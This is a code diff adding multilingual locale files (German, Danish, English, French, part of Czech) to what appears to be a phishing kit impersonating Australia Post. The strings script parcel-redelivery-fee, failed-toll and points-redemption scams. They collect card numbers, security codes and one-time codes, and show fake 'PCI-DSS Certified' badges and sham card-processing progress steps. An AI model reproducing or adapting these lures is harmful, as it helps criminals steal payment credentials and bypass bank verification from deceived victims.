"Zaplaťte elektronické mýtné online",
|
||||
"your electronic toll payment was unsuccessful":
|
||||
"Vaše platba elektronického mýtného byla neúspěšná.",
|
||||
"Billing Information": "Fakturační údaje",
|
||||
"Description": "Popis",
|
||||
"Dear customer": "Vážený zákazníku:",
|
||||
"Electronic Communications Charge Payment Failed":
|
||||
"Platba poplatku za elektronickou komunikaci selhala",
|
||||
"Invoice Number": "Číslo faktury",
|
||||
"Amount": "Částka",
|
||||
"Pay Immediately": "Zaplatit ihned",
|
||||
"Phone Number": "Telefonní číslo",
|
||||
"Electronic communication fee payment failed":
|
||||
"Platba poplatku za elektronickou komunikaci selhala",
|
||||
"Illustrate": "Vysvětlení",
|
||||
"SSL Encryption": "SSL šifrování",
|
||||
"PCI-DSS Certified": "Certifikováno PCI-DSS",
|
||||
"Transaction Details": "Detaily transakce",
|
||||
"Transaction ID:": "ID transakce:",
|
||||
"Processing Network:": "Zpracovatelská síť:",
|
||||
"Processing Time:": "Čas zpracování:",
|
||||
"Security Level:": "Úroveň zabezpečení:",
|
||||
"Preparing...": "Příprava...",
|
||||
"High": "Vysoká",
|
||||
"Initializing payment environment...":
|
||||
"Inicializace platebního prostředí...",
|
||||
"Encrypting card information...":
|
||||
"Šifrování údajů o kartě...",
|
||||
"Establishing secure connection...":
|
||||
"Navazování zabezpečeného spojení...",
|
||||
"Verifying card number and issuer...":
|
||||
"Ověřování čísla karty a vydavatele...",
|
||||
"Validating CVV code...":
|
||||
"Ověřování CVV kódu...",
|
||||
"Checking fraud risk...":
|
||||
"Kontrola rizika podvodu...",
|
||||
"Sending transaction request...":
|
||||
"Odesílání požadavku na transakci...",
|
||||
"Waiting for bank authorization...":
|
||||
"Čekání na autorizaci banky...",
|
||||
"Processing bank response...":
|
||||
"Zpracování odpovědi banky...",
|
||||
"Confirming transaction status...":
|
||||
"Potvrzování stavu transakce...",
|
||||
"Finalizing transaction...":
|
||||
"Dokončování transakce...",
|
||||
"Visa Secure Network":
|
||||
"Bezpečná síť Visa",
|
||||
"Mastercard Global Payment Network":
|
||||
"Globální platební síť Mastercard",
|
||||
"American Express Dedicated Channel":
|
||||
"Vyhrazený kanál American Express",
|
||||
"UnionPay Gateway":
|
||||
"Platební brána UnionPay",
|
||||
"{time} seconds":
|
||||
"{time} sekund",
|
||||
"International Payment Network":
|
||||
"Mezinárodní platební síť",
|
||||
"redelivery_fee_message":
|
||||
"Pro opětovné doručení je nutné uhradit servisní poplatek {amount}. Váš balíček bude po zaplacení znovu doručen",
|
||||
"Verifying...":
|
||||
"Ověřování..."
|
||||
};
|
||||
109
a12_au_post_aupost/src/locales/de/index.ts
Normal file
@@ -0,0 +1,109 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"In diesem Feld liegt ein Fehler vor, bitte überprüfen Sie es",
|
||||
"Please enter a valid email address": "Bitte geben Sie eine gültige E-Mail-Adresse ein",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Liebe Nutzer, bitte füllen Sie das Formular sorgfältig aus, um eine erfolgreiche Zustellung zu gewährleisten",
|
||||
"Your Name": "Ihr Name",
|
||||
"Address": "Adresse",
|
||||
"Detailed Address": "Detaillierte Adresse",
|
||||
"(Optional)": "(Optional)",
|
||||
"City": "Stadt",
|
||||
"State": "Bundesland",
|
||||
"Province": "Provinz",
|
||||
"Region": "Region",
|
||||
"Zip Code": "Postleitzahl",
|
||||
"E-Mail": "E-Mail",
|
||||
"Next": "Weiter",
|
||||
"Telephone Number": "Telefonnummer",
|
||||
"Online": "Online",
|
||||
"Payment": "Zahlung",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"Für die erneute Zustellung müssen wir Servicegebühren erheben. Ihr Paket wird nach der Zahlung erneut zugestellt",
|
||||
"lump sum: ": "Gesamtbetrag: ",
|
||||
"Cardholder": "Karteninhaber",
|
||||
"Card Number": "Kartennummer",
|
||||
"Expire Date": "Ablaufdatum",
|
||||
"Security Code": "Sicherheitscode",
|
||||
"Submit": "Absenden",
|
||||
"Click here to receive another code": "Klicken Sie hier, um einen weiteren Code zu erhalten",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Bitte bestätigen Sie Ihre Identität, und ein einmaliger Code wird an Ihre Mobilnummer oder E-Mail-Adresse gesendet. Bitte geben Sie hier den Verifizierungscode ein",
|
||||
"The verification code has been sent to":
|
||||
"Der Verifizierungscode wurde gesendet an",
|
||||
"Please do not click the":
|
||||
"Bitte klicken Sie nicht auf die Schaltflächen „Aktualisieren“ oder „Zurück“, da dies Ihre Transaktion beenden oder unterbrechen könnte",
|
||||
"Verification code error, please try again":
|
||||
"Verifizierungscode-Fehler, bitte versuchen Sie es erneut",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"Die Sitzung läuft bald ab, bitte schließen Sie die Verifizierung jetzt ab",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Diese Karte unterstützt diese Transaktion nicht, bitte versuchen Sie eine andere Karte",
|
||||
"Authorized bank": "Autorisierte Bank",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Bitte öffnen Sie die Bank-App, um die Autorisierung zu bestätigen",
|
||||
"Please do not close this page": "Bitte schließen Sie diese Seite nicht",
|
||||
"Payment Successful": "Zahlung erfolgreich!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Vielen Dank für Ihren Einkauf. Ihre Zahlung wurde erfolgreich verarbeitet",
|
||||
"Mailing address": "Postadresse",
|
||||
"street address or house number": "Straßenadresse oder Hausnummer",
|
||||
"Apartment number": "Wohnungsnummer, Zimmernummer usw.",
|
||||
"Safe payment": "Sichere Zahlung",
|
||||
"Verification code": "Verifizierungscode",
|
||||
"Welcome": "Willkommen",
|
||||
"back":"zurück!",
|
||||
"We reward you for using point services": "Wir belohnen Sie für die Nutzung unseres Punkteservices",
|
||||
"Check your points": "Punkte prüfen",
|
||||
"Phone number": "Telefonnummer",
|
||||
"Inquire": "Anfragen",
|
||||
"Exchange": "Eintauschen",
|
||||
"Spend points": "Punkte einlösen",
|
||||
"Points Available": "Verfügbare Punkte",
|
||||
"You don't have enough points": "Sie haben nicht genügend Punkte",
|
||||
"Please redeem your favorite product": "Bitte lösen Sie Ihr Lieblingsprodukt ein",
|
||||
"Confirm your shipping address": "Bestätigen Sie Ihre Lieferadresse",
|
||||
"Order number": "Bestellnummer: ",
|
||||
"Pay": "Bezahlen",
|
||||
"Pay Message": "Zahlen Sie {0}, um Punkte gegen Waren einzulösen",
|
||||
"Pay electronic tolls online": "Elektronische Mautgebühren online bezahlen",
|
||||
"your electronic toll payment was unsuccessful": "Ihre elektronische Mautzahlung war nicht erfolgreich.",
|
||||
"Billing Information": "Rechnungsinformationen",
|
||||
"Description": "Beschreibung",
|
||||
"Dear customer": "Sehr geehrter Kunde:",
|
||||
"Electronic Communications Charge Payment Failed": "Zahlung der elektronischen Kommunikationsgebühr fehlgeschlagen",
|
||||
"Invoice Number": "Rechnungsnummer",
|
||||
"Amount": "Betrag",
|
||||
"Pay Immediately": "Sofort bezahlen",
|
||||
"Phone Number": "Telefonnummer",
|
||||
"Electronic communication fee payment failed": "Zahlung der elektronischen Kommunikationsgebühr fehlgeschlagen",
|
||||
"Illustrate":"Darstellen",
|
||||
"SSL Encryption": "SSL-Verschlüsselung",
|
||||
"PCI-DSS Certified": "PCI-DSS-zertifiziert",
|
||||
"Transaction Details": "Transaktionsdetails",
|
||||
"Transaction ID:": "Transaktions-ID:",
|
||||
"Processing Network:": "Verarbeitungsnetzwerk:",
|
||||
"Processing Time:": "Verarbeitungszeit:",
|
||||
"Security Level:": "Sicherheitsstufe:",
|
||||
"Preparing...": "Vorbereitung...",
|
||||
"High": "Hoch",
|
||||
"Initializing payment environment...": "Zahlungsumgebung wird initialisiert...",
|
||||
"Encrypting card information...": "Kartendaten werden verschlüsselt...",
|
||||
"Establishing secure connection...": "Sichere Verbindung wird hergestellt...",
|
||||
"Verifying card number and issuer...": "Kartennummer und Herausgeber werden überprüft...",
|
||||
"Validating CVV code...": "CVV-Code wird überprüft...",
|
||||
"Checking fraud risk...": "Betrugsrisiko wird überprüft...",
|
||||
"Sending transaction request...": "Transaktionsanfrage wird gesendet...",
|
||||
"Waiting for bank authorization...": "Warten auf Bankautorisierung...",
|
||||
"Processing bank response...": "Bankantwort wird verarbeitet...",
|
||||
"Confirming transaction status...": "Transaktionsstatus wird bestätigt...",
|
||||
"Finalizing transaction...": "Transaktion wird abgeschlossen...",
|
||||
"Visa Secure Network": "Visa Secure Network",
|
||||
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
|
||||
"American Express Dedicated Channel": "American Express Dedicated Channel",
|
||||
"UnionPay Gateway": "UnionPay Gateway",
|
||||
"{time} seconds": "{time} Sekunden",
|
||||
"International Payment Network": "Internationales Zahlungsnetzwerk",
|
||||
"redelivery_fee_message": "Für die erneute Zustellung müssen wir {amount} Servicegebühren berechnen, Ihr Paket wird nach Zahlung erneut zugestellt",
|
||||
"Verifying...": "Überprüfen...",
|
||||
};
|
||||
141
a12_au_post_aupost/src/locales/dk/index.ts
Normal file
@@ -0,0 +1,141 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Der er en fejl i dette felt, kontroller venligst",
|
||||
"Please enter a valid email address":
|
||||
"Indtast venligst en gyldig e-mailadresse",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Kære brugere, udfyld venligst formularen omhyggeligt for at sikre en vellykket levering",
|
||||
"Your Name": "Dit navn",
|
||||
"Address": "Adresse",
|
||||
"Detailed Address": "Detaljeret adresse",
|
||||
"(Optional)": "(Valgfrit)",
|
||||
"City": "By",
|
||||
"State": "Stat / Område",
|
||||
"Province": "Provins",
|
||||
"Region": "Region",
|
||||
"Zip Code": "Postnummer",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Næste",
|
||||
"Telephone Number": "Telefonnummer",
|
||||
"Online": "Online",
|
||||
"Payment": "Betaling",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"For genlevering skal vi opkræve nogle servicegebyrer. Din pakke vil blive genleveret efter betaling",
|
||||
"lump sum: ": "Samlet beløb: ",
|
||||
"Cardholder": "Kortholder",
|
||||
"Card Number": "Kortnummer",
|
||||
"Expire Date": "Udløbsdato",
|
||||
"Security Code": "Sikkerhedskode",
|
||||
"Submit": "Indsend",
|
||||
"Click here to receive another code":
|
||||
"Klik her for at modtage en ny kode",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Bekræft venligst din identitet. En engangskode vil blive sendt til din telefon eller e-mail. Indtast koden her",
|
||||
"The verification code has been sent to":
|
||||
"Bekræftelseskoden er sendt til",
|
||||
"Please do not click the":
|
||||
"Klik venligst ikke på knapperne “Opdater” eller “Tilbage”, da dette kan afbryde transaktionen",
|
||||
"Verification code error, please try again":
|
||||
"Fejl i bekræftelseskoden, prøv venligst igen",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"Sessionen er ved at udløbe, gennemfør venligst verificeringen nu",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Dette kort understøtter ikke denne transaktion, prøv venligst et andet kort",
|
||||
"Authorized bank": "Autoriseret bank",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Gå venligst til bankens app for at bekræfte godkendelsen",
|
||||
"Please do not close this page":
|
||||
"Luk venligst ikke denne side",
|
||||
"Payment Successful": "Betaling gennemført!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Tak for dit køb. Din betaling er blevet behandlet korrekt",
|
||||
"Mailing address": "Leveringsadresse",
|
||||
"street address or house number":
|
||||
"Gadenavn eller husnummer",
|
||||
"Apartment number": "Lejlighedsnummer / værelsesnummer",
|
||||
"Safe payment": "Sikker betaling",
|
||||
"Verification code": "Bekræftelseskode",
|
||||
"Welcome": "Velkommen",
|
||||
"back": "tilbage!",
|
||||
"We reward you for using point services":
|
||||
"Vi belønner dig for at bruge pointtjenester",
|
||||
"Check your points": "Tjek dine point",
|
||||
"Phone number": "Telefonnummer",
|
||||
"Inquire": "Forespørg",
|
||||
"Exchange": "Ombyt",
|
||||
"Spend points": "Brug point",
|
||||
"Points Available": "Tilgængelige point",
|
||||
"You don't have enough points":
|
||||
"Du har ikke nok point",
|
||||
"Please redeem your favorite product":
|
||||
"Indløs venligst dine point for dit foretrukne produkt",
|
||||
"Confirm your shipping address":
|
||||
"Bekræft din leveringsadresse",
|
||||
"Order number": "Ordrenummer: ",
|
||||
"Pay": "Betal",
|
||||
"Pay Message":
|
||||
"Betal {0} for at ombytte point til produkter",
|
||||
"Pay electronic tolls online":
|
||||
"Betal elektroniske vejafgifter online",
|
||||
"your electronic toll payment was unsuccessful":
|
||||
"Din betaling af elektronisk vejafgift mislykkedes.",
|
||||
"Billing Information": "Faktureringsoplysninger",
|
||||
"Description": "Beskrivelse",
|
||||
"Dear customer": "Kære kunde:",
|
||||
"Electronic Communications Charge Payment Failed":
|
||||
"Betaling af gebyr for elektronisk kommunikation mislykkedes",
|
||||
"Invoice Number": "Fakturanummer",
|
||||
"Amount": "Beløb",
|
||||
"Pay Immediately": "Betal straks",
|
||||
"Phone Number": "Telefonnummer",
|
||||
"Electronic communication fee payment failed":
|
||||
"Betaling af gebyr for elektronisk kommunikation mislykkedes",
|
||||
"Illustrate": "Forklaring",
|
||||
"SSL Encryption": "SSL-kryptering",
|
||||
"PCI-DSS Certified": "PCI-DSS-certificeret",
|
||||
"Transaction Details": "Transaktionsdetaljer",
|
||||
"Transaction ID:": "Transaktions-ID:",
|
||||
"Processing Network:": "Behandlingsnetværk:",
|
||||
"Processing Time:": "Behandlingstid:",
|
||||
"Security Level:": "Sikkerhedsniveau:",
|
||||
"Preparing...": "Forbereder...",
|
||||
"High": "Høj",
|
||||
"Initializing payment environment...":
|
||||
"Initialiserer betalingsmiljø...",
|
||||
"Encrypting card information...":
|
||||
"Krypterer kortoplysninger...",
|
||||
"Establishing secure connection...":
|
||||
"Etablerer sikker forbindelse...",
|
||||
"Verifying card number and issuer...":
|
||||
"Verificerer kortnummer og udsteder...",
|
||||
"Validating CVV code...":
|
||||
"Validerer CVV-kode...",
|
||||
"Checking fraud risk...":
|
||||
"Kontrollerer risiko for svindel...",
|
||||
"Sending transaction request...":
|
||||
"Sender transaktionsanmodning...",
|
||||
"Waiting for bank authorization...":
|
||||
"Venter på bankens godkendelse...",
|
||||
"Processing bank response...":
|
||||
"Behandler bankens svar...",
|
||||
"Confirming transaction status...":
|
||||
"Bekræfter transaktionsstatus...",
|
||||
"Finalizing transaction...":
|
||||
"Afslutter transaktionen...",
|
||||
"Visa Secure Network":
|
||||
"Visa sikkert netværk",
|
||||
"Mastercard Global Payment Network":
|
||||
"Mastercard globalt betalingsnetværk",
|
||||
"American Express Dedicated Channel":
|
||||
"American Express dedikeret kanal",
|
||||
"UnionPay Gateway":
|
||||
"UnionPay-gateway",
|
||||
"{time} seconds":
|
||||
"{time} sekunder",
|
||||
"International Payment Network":
|
||||
"Internationalt betalingsnetværk",
|
||||
"redelivery_fee_message":
|
||||
"For genlevering skal du betale {amount} i servicegebyrer. Din pakke vil blive genleveret efter betaling",
|
||||
"Verifying...":
|
||||
"Verificerer..."
|
||||
};
|
||||
98
a12_au_post_aupost/src/locales/en/index.ts
Normal file
@@ -0,0 +1,98 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "There is an error in this field, please check",
|
||||
"Please enter a valid email address": "Please enter a valid email address",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Dear users, please fill in the form carefully to ensure successful delivery",
|
||||
"Your Name": "Your Name",
|
||||
"Address": "Address",
|
||||
"Detailed Address": "Detailed Address",
|
||||
"(Optional)": "(Optional)",
|
||||
"City": "City",
|
||||
"State": "State / Region",
|
||||
"Province": "Province",
|
||||
"Region": "Region",
|
||||
"Zip Code": "Zip Code",
|
||||
"E-Mail": "E-Mail",
|
||||
"Next": "Next",
|
||||
"Telephone Number": "Telephone Number",
|
||||
"Online": "Online",
|
||||
"Payment": "Payment",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "For redelivery, a service fee is required. Your package will be re-delivered after payment",
|
||||
"lump sum: ": "Total amount: ",
|
||||
"Cardholder": "Cardholder",
|
||||
"Card Number": "Card Number",
|
||||
"Expire Date": "Expiration Date",
|
||||
"Security Code": "Security Code",
|
||||
"Submit": "Submit",
|
||||
"Click here to receive another code": "Click here to receive another code",
|
||||
"Please confirm your identity and a one-time code will be sent": "Please confirm your identity. A one-time code will be sent to your phone or email. Enter it here",
|
||||
"The verification code has been sent to": "The verification code has been sent to",
|
||||
"Please do not click the": "Please do not click 'Refresh' or 'Back' as it may interrupt the transaction",
|
||||
"Verification code error, please try again": "Verification code error, please try again",
|
||||
"The session is about to expire, please complete the verification now": "The session is about to expire, please complete the verification now",
|
||||
"This card does not support this transaction, please try another card": "This card does not support this transaction, please try another card",
|
||||
"Authorized bank": "Authorized bank",
|
||||
"Please go to the bank App to confirm the authorization": "Please go to the bank app to confirm authorization",
|
||||
"Please do not close this page": "Please do not close this page",
|
||||
"Payment Successful": "Payment Successful!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Thank you for your purchase. Your payment has been successfully processed",
|
||||
"Mailing address": "Mailing address",
|
||||
"street address or house number": "Street and house number",
|
||||
"Apartment number": "Apartment number",
|
||||
"Safe payment": "Safe payment",
|
||||
"Verification code": "Verification code",
|
||||
"Welcome": "Welcome",
|
||||
"back": "Back!",
|
||||
"We reward you for using point services": "We reward you for using point services",
|
||||
"Check your points": "Check your points",
|
||||
"Phone number": "Phone number",
|
||||
"Inquire": "Inquire",
|
||||
"Exchange": "Exchange",
|
||||
"Spend points": "Spend points",
|
||||
"Points Available": "Points Available",
|
||||
"You don't have enough points": "You don't have enough points",
|
||||
"Please redeem your favorite product": "Please redeem your favorite product with points",
|
||||
"Confirm your shipping address": "Confirm your shipping address",
|
||||
"Order number": "Order number: ",
|
||||
"Pay": "Pay",
|
||||
"Pay Message": "Pay {0} to redeem points for products",
|
||||
"Pay electronic tolls online": "Pay electronic tolls online",
|
||||
"your electronic toll payment was unsuccessful": "Your electronic toll payment was unsuccessful.",
|
||||
"Billing Information": "Billing Information",
|
||||
"Description": "Description",
|
||||
"Dear customer": "Dear Customer:",
|
||||
"Electronic Communications Charge Payment Failed": "Electronic Communications Charge Payment Failed",
|
||||
"Invoice Number": "Invoice Number",
|
||||
"Amount": "Amount",
|
||||
"Pay Immediately": "Pay Immediately",
|
||||
"Phone Number": "Phone Number",
|
||||
"Electronic communication fee payment failed": "Electronic communication fee payment failed",
|
||||
"Illustrate": "Explanation",
|
||||
"SSL Encryption": "SSL Encryption",
|
||||
"PCI-DSS Certified": "PCI-DSS Certified",
|
||||
"Transaction Details": "Transaction Details",
|
||||
"Transaction ID:": "Transaction ID:",
|
||||
"Processing Network:": "Processing Network:",
|
||||
"Processing Time:": "Processing Time:",
|
||||
"Security Level:": "Security Level:",
|
||||
"Preparing...": "Preparing...",
|
||||
"High": "High",
|
||||
"Initializing payment environment...": "Initializing payment environment...",
|
||||
"Encrypting card information...": "Encrypting card information...",
|
||||
"Establishing secure connection...": "Establishing secure connection...",
|
||||
"Verifying card number and issuer...": "Verifying card number and issuer...",
|
||||
"Validating CVV code...": "Validating CVV code...",
|
||||
"Checking fraud risk...": "Checking fraud risk...",
|
||||
"Sending transaction request...": "Sending transaction request...",
|
||||
"Waiting for bank authorization...": "Waiting for bank authorization...",
|
||||
"Processing bank response...": "Processing bank response...",
|
||||
"Confirming transaction status...": "Confirming transaction status...",
|
||||
"Finalizing transaction...": "Finalizing transaction...",
|
||||
"Visa Secure Network": "Visa Secure Network",
|
||||
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
|
||||
"American Express Dedicated Channel": "American Express Dedicated Channel",
|
||||
"UnionPay Gateway": "UnionPay Gateway",
|
||||
"{time} seconds": "{time} seconds",
|
||||
"International Payment Network": "International Payment Network",
|
||||
"redelivery_fee_message": "For redelivery, a service fee of {amount} is required. Your package will be re-delivered after payment",
|
||||
"Verifying...": "Verifying..."
|
||||
};
|
||||
127
a12_au_post_aupost/src/locales/es/index.ts
Normal file
@@ -0,0 +1,127 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "There is an error in this field, please check",
|
||||
"Please enter a valid email address": "Please enter a valid email address",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Dear users, please fill in the form carefully to ensure successful delivery",
|
||||
"Your Name": "Your Name",
|
||||
"Address": "Address",
|
||||
"Detailed Address": "Detailed Address",
|
||||
"(Optional)": "(Optional)",
|
||||
"City": "City",
|
||||
"State": "State / Region",
|
||||
"Province": "Province",
|
||||
"Region": "Region",
|
||||
"Zip Code": "Postcode",
|
||||
"E-Mail": "Email",
|
||||
"Next": "Next",
|
||||
"Telephone Number": "Phone Number",
|
||||
"Online": "Online",
|
||||
"Payment": "Payment",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "For redelivery, a service fee is required. Your parcel will be re-delivered after payment",
|
||||
"lump sum: ": "Total Amount: ",
|
||||
"Cardholder": "Cardholder",
|
||||
"Card Number": "Card Number",
|
||||
"Expire Date": "Expiry Date",
|
||||
"Security Code": "Security Code",
|
||||
"Submit": "Submit",
|
||||
"Click here to receive another code": "Click here to receive another code",
|
||||
"Please confirm your identity and a one-time code will be sent": "Please confirm your identity. A one-time code will be sent to your phone or email. Please enter it here",
|
||||
"The verification code has been sent to": "The verification code has been sent to",
|
||||
"Please do not click the": "Please do not click 'Refresh' or 'Back', as this may interrupt the transaction",
|
||||
"Verification code error, please try again": "Incorrect verification code, please try again",
|
||||
"The session is about to expire, please complete the verification now": "Your session is about to expire, please complete the verification now",
|
||||
"This card does not support this transaction, please try another card": "This card does not support this transaction, please try another card",
|
||||
"Authorized bank": "Authorised Bank",
|
||||
"Please go to the bank App to confirm the authorization": "Please open your banking app to confirm the authorisation",
|
||||
"Please do not close this page": "Please do not close this page",
|
||||
"Payment Successful": "Payment Successful!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Thank you for your purchase. Your payment has been processed successfully",
|
||||
"Mailing address": "Mailing Address",
|
||||
"street address or house number": "Street Address or House Number",
|
||||
"Apartment number": "Apartment Number",
|
||||
"Safe payment": "Secure Payment",
|
||||
"Verification code": "Verification Code",
|
||||
"Welcome": "Welcome",
|
||||
"back": "Back!",
|
||||
"We reward you for using point services": "We reward you for using points services",
|
||||
"Check your points": "Check Your Points",
|
||||
"Phone number": "Phone Number",
|
||||
"Inquire": "Enquire",
|
||||
"Exchange": "Redeem",
|
||||
"Spend points": "Use Points",
|
||||
"Points Available": "Points Available",
|
||||
"You don't have enough points": "You do not have enough points",
|
||||
"Please redeem your favorite product": "Please redeem your favourite product using points",
|
||||
"Confirm your shipping address": "Confirm Your Shipping Address",
|
||||
"Order number": "Order Number: ",
|
||||
"Pay": "Pay",
|
||||
"Pay Message": "Pay {0} to redeem points for products",
|
||||
"Pay electronic tolls online": "Pay Electronic Tolls Online",
|
||||
"your electronic toll payment was unsuccessful": "Your electronic toll payment was unsuccessful",
|
||||
"Billing Information": "Billing Information",
|
||||
"Description": "Description",
|
||||
"Dear customer": "Dear Customer:",
|
||||
"Electronic Communications Charge Payment Failed": "Electronic Communications Charge Payment Failed",
|
||||
"Invoice Number": "Invoice Number",
|
||||
"Amount": "Amount",
|
||||
"Pay Immediately": "Pay Now",
|
||||
"Phone Number": "Phone Number",
|
||||
"Electronic communication fee payment failed": "Electronic communication fee payment failed",
|
||||
"Illustrate": "Explanation",
|
||||
"SSL Encryption": "SSL Encryption",
|
||||
"PCI-DSS Certified": "PCI-DSS Certified",
|
||||
"Transaction Details": "Transaction Details",
|
||||
"Transaction ID:": "Transaction ID:",
|
||||
"Processing Network:": "Processing Network:",
|
||||
"Processing Time:": "Processing Time:",
|
||||
"Security Level:": "Security Level:",
|
||||
"Preparing...": "Preparing...",
|
||||
"High": "High",
|
||||
"Initializing payment environment...": "Initialising payment environment...",
|
||||
"Encrypting card information...": "Encrypting card information...",
|
||||
"Establishing secure connection...": "Establishing secure connection...",
|
||||
"Verifying card number and issuer...": "Verifying card number and issuer...",
|
||||
"Validating CVV code...": "Validating CVV code...",
|
||||
"Checking fraud risk...": "Checking fraud risk...",
|
||||
"Sending transaction request...": "Sending transaction request...",
|
||||
"Waiting for bank authorization...": "Waiting for bank authorisation...",
|
||||
"Processing bank response...": "Processing bank response...",
|
||||
"Confirming transaction status...": "Confirming transaction status...",
|
||||
"Finalizing transaction...": "Finalising transaction...",
|
||||
"Visa Secure Network": "Visa Secure Network",
|
||||
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
|
||||
"American Express Dedicated Channel": "American Express Dedicated Channel",
|
||||
"UnionPay Gateway": "UnionPay Gateway",
|
||||
"{time} seconds": "{time} seconds",
|
||||
"International Payment Network": "International Payment Network",
|
||||
"redelivery_fee_message": "For redelivery, a service fee of {amount} is required. Your parcel will be re-delivered after payment",
|
||||
"Verifying...": "Verifying...",
|
||||
// payment_loading
|
||||
payment_loading: {
|
||||
modal_title: "Processing Payment",
|
||||
modal_subtitle: "Please do not close this page",
|
||||
transaction_details: "Transaction Details",
|
||||
transaction_id: "Transaction ID:",
|
||||
processing_network: "Processing Network:",
|
||||
processing_time: "Processing Time:",
|
||||
security_level: "Security Level:",
|
||||
preparing: "Preparing...",
|
||||
high: "High",
|
||||
step_init: "Initialising payment environment...",
|
||||
step_encrypt: "Encrypting card information...",
|
||||
step_connect: "Establishing secure connection...",
|
||||
step_verify_card: "Verifying card number and issuer...",
|
||||
step_validate_cvv: "Validating CVV code...",
|
||||
step_fraud: "Checking fraud risk...",
|
||||
step_send: "Sending transaction request...",
|
||||
step_wait_auth: "Waiting for bank authorisation...",
|
||||
step_process_resp: "Processing bank response...",
|
||||
step_confirm: "Confirming transaction status...",
|
||||
step_finalize: "Finalising transaction...",
|
||||
network_visa: "Visa Secure Network",
|
||||
network_mastercard: "Mastercard Global Payment Network",
|
||||
network_amex: "American Express Dedicated Channel",
|
||||
network_unionpay: "UnionPay Payment Gateway",
|
||||
network_intl: "International Payment Network",
|
||||
time_seconds: "{time} seconds",
|
||||
},
|
||||
};
|
||||
84
a12_au_post_aupost/src/locales/fr/index.ts
Normal file
@@ -0,0 +1,84 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Il y a une erreur dans ce champ, veuillez vérifier",
|
||||
"Please enter a valid email address": "Veuillez saisir une adresse e-mail valide",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Chers utilisateurs, veuillez remplir le formulaire avec soin afin d'assurer la bonne livraison",
|
||||
"Your Name": "Votre nom",
|
||||
"Address": "Adresse",
|
||||
"Detailed Address": "Adresse détaillée",
|
||||
"(Optional)": "(Optionnel)",
|
||||
"City": "Ville",
|
||||
"State": "État",
|
||||
"Province": "Province",
|
||||
"Region": "Région",
|
||||
"Zip Code": "Code postal",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Suivant",
|
||||
"Telephone Number": "Numéro de téléphone",
|
||||
"Online": "En ligne",
|
||||
"Payment": "Paiement",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"Pour une nouvelle livraison, des frais de service s'appliquent. Votre colis sera réexpédié après paiement",
|
||||
"lump sum: ": "montant forfaitaire : ",
|
||||
"Cardholder": "Titulaire de la carte",
|
||||
"Card Number": "Numéro de carte",
|
||||
"Expire Date": "Date d’expiration",
|
||||
"Security Code": "Code de sécurité",
|
||||
"Submit": "Soumettre",
|
||||
"Click here to receive another code": "Cliquez ici pour recevoir un autre code",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Veuillez confirmer votre identité. Un code unique sera envoyé à votre numéro de téléphone ou à votre adresse e-mail. Veuillez entrer le code de vérification ici",
|
||||
"The verification code has been sent to": "Le code de vérification a été envoyé à",
|
||||
"Please do not click the":
|
||||
"Veuillez ne pas cliquer sur les boutons 'Actualiser' ou 'Retour' car cela pourrait interrompre votre transaction",
|
||||
"Verification code error, please try again": "Erreur de code de vérification, veuillez réessayer",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"La session est sur le point d’expirer, veuillez terminer la vérification maintenant",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Cette carte ne prend pas en charge cette transaction, veuillez essayer une autre carte",
|
||||
"Authorized bank": "Banque autorisée",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Veuillez accéder à l’application bancaire pour confirmer l’autorisation",
|
||||
"Please do not close this page": "Veuillez ne pas fermer cette page",
|
||||
"Payment Successful": "Paiement réussi !",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Merci pour votre achat. Votre paiement a été traité avec succès",
|
||||
"Mailing address": "Adresse postale",
|
||||
"street address or house number": "rue ou numéro de maison",
|
||||
"Apartment number": "Numéro d'appartement, numéro de chambre, etc.",
|
||||
"Safe payment": "Paiement sécurisé",
|
||||
"Verification code": "Code de vérification",
|
||||
"Welcome": "Bienvenue",
|
||||
"back": "retour !",
|
||||
"We reward you for using point services": "Nous vous récompensons pour l’utilisation de nos services à points",
|
||||
"Check your points": "Vérifiez vos points",
|
||||
"Phone number": "Numéro de téléphone",
|
||||
"Inquire": "Consulter",
|
||||
"Exchange": "Échanger",
|
||||
"Spend points": "Utiliser les points",
|
||||
"Points Available": "Points disponibles",
|
||||
"You don't have enough points": "Vous n’avez pas assez de points",
|
||||
"Please redeem your favorite product": "Veuillez échanger contre votre produit préféré",
|
||||
"Confirm your shipping address": "Confirmez votre adresse de livraison",
|
||||
